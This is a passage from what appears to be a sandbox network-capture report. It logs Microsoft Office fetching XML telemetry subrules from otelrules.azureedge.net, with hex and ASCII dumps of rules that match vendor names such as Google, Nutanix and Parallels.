3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:20 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142720Z-16849878b786jv8w2kpaf5zkqs00000005kg000000006cy6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:20 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142720Z-16849878b78xblwksrnkakc08w00000005y0000000007gg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:21 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:21 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142721Z-16849878b78qg9mlz11wgn0wcc000000063g00000000qt4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:21 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142721Z-16849878b78p8hrf1se7fucxk800000007k0000000007wer x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:21 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:21 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142721Z-16849878b78fssff8btnns3b1400000006w000000000hc2k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:21 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142721Z-16849878b78qwx7pmw9x5fub1c00000004qg00000000m7ta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:21 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142721Z-16849878b78zqkvcwgr6h55x9n00000005z000000000q4wt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:22 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:22 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142722Z-16849878b78z2wx67pvzz63kdg000000055g00000000krm3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:22 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:22 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:22 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: c1ca1df0-401e-0029-1e3a-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142722Z-r197bdfb6b466qclztvgs64z10000000089g0000000067cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:22 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:22 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142722Z-16849878b78xblwksrnkakc08w00000005xg000000009dnt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:22 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:22 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 0944ca5a-501e-007b-292d-275ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142722Z-17c5cb586f6w4mfs5xcmnrny6n0000000890000000009v8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:22 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:22 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:22 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142722Z-15b8d89586ff5l62aha9080wv000000007vg00000000c132 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
